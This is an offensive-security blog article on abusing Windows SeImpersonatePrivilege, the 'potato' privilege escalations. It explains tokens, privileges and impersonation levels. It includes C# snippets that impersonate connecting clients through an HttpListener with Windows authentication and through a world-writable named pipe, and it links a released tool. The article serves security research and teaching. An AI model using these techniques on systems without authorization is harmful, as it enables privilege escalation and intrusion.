<p>The client would then send back a negotiate message. It would then call AcquireCredentialsHandle and then AcceptSecurityContext with the negotiate message and respond with the challenge to the client.</p>
<figure class="highlight"><pre><code class="language-http" data-lang="http"><span class="k">HTTP</span><span class="o">/</span><span class="m">1.1</span> <span class="m">401</span> <span class="ne">Unauthorized\r\n</span>
<span class="na">WWW-Authenticate</span><span class="p">:</span> <span class="s">Negotiate {Base64 Encoded Challenge}\r\n</span>
<span class="na">Content-Length</span><span class="p">:</span> <span class="s">0\r\n</span>
<span class="na">Connection</span><span class="p">:</span> <span class="s">Keep-alive\r\n\r\n</span></code></pre></figure>
<p>It would then call AcceptSecurityContext with the challenge returned from the client and acquire a token for the security context with a call to QuerySecurityContextToken.</p>
<p>This worked fine but was unnecessarily complicated. We can do it all in a several lines.</p>
<figure class="highlight"><pre><code class="language-csharp" data-lang="csharp"><span class="n">HttpListener</span> <span class="n">listener</span> <span class="p">=</span> <span class="k">new</span> <span class="nf">HttpListener</span><span class="p">();</span>
<span class="n">listener</span><span class="p">.</span><span class="n">Prefixes</span><span class="p">.</span><span class="nf">Add</span><span class="p">(</span><span class="s">$"http://</span><span class="p">{</span><span class="n">host</span><span class="p">}</span><span class="s">:</span><span class="p">{</span><span class="n">port</span><span class="p">}</span><span class="s">/"</span><span class="p">);</span>
<span class="n">listener</span><span class="p">.</span><span class="nf">Start</span><span class="p">();</span>
<span class="n">listener</span><span class="p">.</span><span class="n">AuthenticationSchemes</span> <span class="p">=</span> <span class="n">AuthenticationSchemes</span><span class="p">.</span><span class="n">IntegratedWindowsAuthentication</span><span class="p">;</span>
<span class="n">HttpListenerContext</span> <span class="n">context</span> <span class="p">=</span> <span class="n">listener</span><span class="p">.</span><span class="nf">GetContext</span><span class="p">();</span>
<span class="kt">var</span> <span class="n">identity</span> <span class="p">=</span> <span class="p">(</span><span class="n">System</span><span class="p">.</span><span class="n">Security</span><span class="p">.</span><span class="n">Principal</span><span class="p">.</span><span class="n">WindowsIdentity</span><span class="p">)</span><span class="n">context</span><span class="p">.</span><span class="n">User</span><span class="p">.</span><span class="n">Identity</span><span class="p">;</span>
<span class="n">identity</span><span class="p">.</span><span class="nf">Impersonate</span><span class="p">()</span></code></pre></figure>
<p>Here is an example of a file write to a named pipe.</p>
<figure class="highlight"><pre><code class="language-console" data-lang="console"><span class="gp">echo test ></span><span class="w"> </span><span class="se">\\</span><span class="nb">hostname</span><span class="se">\p</span>ipe<span class="se">\t</span>est</code></pre></figure>
<p>We can impersonate the client of this connection fairly easily as well.
The first thing to do is allow everyone read/write access.</p>
<figure class="highlight"><pre><code class="language-csharp" data-lang="csharp"><span class="n">PipeSecurity</span> <span class="n">ps</span> <span class="p">=</span> <span class="k">new</span> <span class="nf">PipeSecurity</span><span class="p">();</span>
<span class="n">SecurityIdentifier</span> <span class="n">sid</span> <span class="p">=</span> <span class="k">new</span> <span class="nf">SecurityIdentifier</span><span class="p">(</span><span class="n">WellKnownSidType</span><span class="p">.</span><span class="n">WorldSid</span><span class="p">,</span> <span class="k">null</span><span class="p">);</span>
<span class="n">PipeAccessRule</span> <span class="n">par</span> <span class="p">=</span> <span class="k">new</span> <span class="nf">PipeAccessRule</span><span class="p">(</span><span class="n">sid</span><span class="p">,</span> <span class="n">PipeAccessRights</span><span class="p">.</span><span class="n">ReadWrite</span><span class="p">,</span>
<span class="n">System</span><span class="p">.</span><span class="n">Security</span><span class="p">.</span><span class="n">AccessControl</span><span class="p">.</span><span class="n">AccessControlType</span><span class="p">.</span><span class="n">Allow</span><span class="p">);</span>
<span class="n">ps</span><span class="p">.</span><span class="nf">AddAccessRule</span><span class="p">(</span><span class="n">par</span><span class="p">);</span></code></pre></figure>
<p>Next start a thread with the name “test” and read some data when it comes in.</p>
<figure class="highlight"><pre><code class="language-csharp" data-lang="csharp"><span class="n">pipe</span> <span class="p">=</span> <span class="k">new</span> <span class="nf">NamedPipeServerStream</span><span class="p">(</span><span class="s">$"test"</span><span class="p">,</span> <span class="n">PipeDirection</span><span class="p">.</span><span class="n">InOut</span><span class="p">,</span> <span class="m">10</span><span class="p">,</span>
<span class="n">PipeTransmissionMode</span><span class="p">.</span><span class="n">Byte</span><span class="p">,</span> <span class="n">PipeOptions</span><span class="p">.</span><span class="n">None</span><span class="p">,</span> <span class="m">2048</span><span class="p">,</span> <span class="m">2048</span><span class="p">,</span> <span class="n">ps</span><span class="p">);</span>
<span class="n">pipe</span><span class="p">.</span><span class="nf">WaitForConnection</span><span class="p">();</span>
<span class="n">pipe</span><span class="p">.</span><span class="nf">Read</span><span class="p">(</span><span class="n">data</span><span class="p">,</span> <span class="m">0</span><span class="p">,</span> <span class="m">4</span><span class="p">);</span></code></pre></figure>
<p>Then all that needs done is to impersonate the client.</p>
<figure class="highlight"><pre><code class="language-csharp" data-lang="csharp"><span class="n">pipe</span><span class="p">.</span><span class="nf">RunAsClient</span><span class="p">(()</span> <span class="p">=></span> <span class="p">{}</span></code></pre></figure>
<p>With that we have some methods for helping to identify potential new vectors to escalate privileges with SeImpersonatePrivilege. I have released the code mentioned in this article in a tool at <a href="https://github.com/micahvandeusen/GenericPotato">https://github.com/micahvandeusen/GenericPotato</a>
<img src="/assets/img/the-power-of-seimpersonate/GenericPotato.webp" alt="GenericPotato" /></p>Micah Van DeusenOverview SeImpersonate is a powerful privilege that allows the ability to impersonate any token it can acquire a handle on. This is an already well researched privilege as there are a whole slew of privilege escalations that utilize this privilege and amazing articles and existing tools. What I will be doing is taking a step back and looking at the common denominator between the potato family, SeImpersonatePrivilege. What are tokens? Before we dive straight in, it would be good to give some background on what we are even talking about. When you login to a system whether it is locally, over the network, as a service, or even directly calling the LogonUser API function the authentication package creates a logon session and then has Local Security Authority (LSA) create an access token for the user. This token represents the account security context and contains information including: The ID of the logon session User and group SIDs The integrity level Privileges held by the user or groups the user is in Everything in a user’s session by default runs under the same token because a child process inherits the parent token. One thing to be careful of is what is called restricted tokens. This is tied to User Account Control (UAC). When you login you will actually be assigned two tokens. One being the token with full access. The other token will be a restricted or filtered token that will only have a subset of the permissions. It is the restricted token that Windows Explorer and most processes typically will run under. The most relevant part about the restricted token is that it may not even list some of the privileges that the user has. So, if we want to use the unrestricted token, UAC requires “run as administrator” and going through the elevation prompt. That is unless the parent process is already high integrity. Now there are two types of tokens: primary and impersonation. Primary tokens are only able to be attached to a process while impersonation tokens can only be attached to threads. Impersonation is how a server can assume the identity of a client and the security access that the user has. The impersonation is only temporary and overrides the primary token for just the thread until it finishes. There are several levels of impersonation tokens. Anonymous is where the server has no knowledge of the client. Identification is where the server can obtain the client’s identity including its SID’s and privileges to be used for access control checks. This is the most common level. Impersonation is where the server can impersonate and act on behalf of the client to the local system. This is the level we really want for privilege escalation. Delegation is where the server can impersonate the client on both local and remote systems. What are privileges? Privileges are special rights to perform various system operations. These are assigned to the user and as mentioned earlier are listed in the user token. They can be in an enabled or disabled state. This isn’t to be confused with restricted tokens. It’s fairly trivial to enable a privilege and it is merely used as a safeguard to prevent unintended actions. Here we have a regular command prompt using the restricted token. Note that there are only a handful of privileges listed. This is because we are using a restricted token. Also note that some of these privileges are disabled.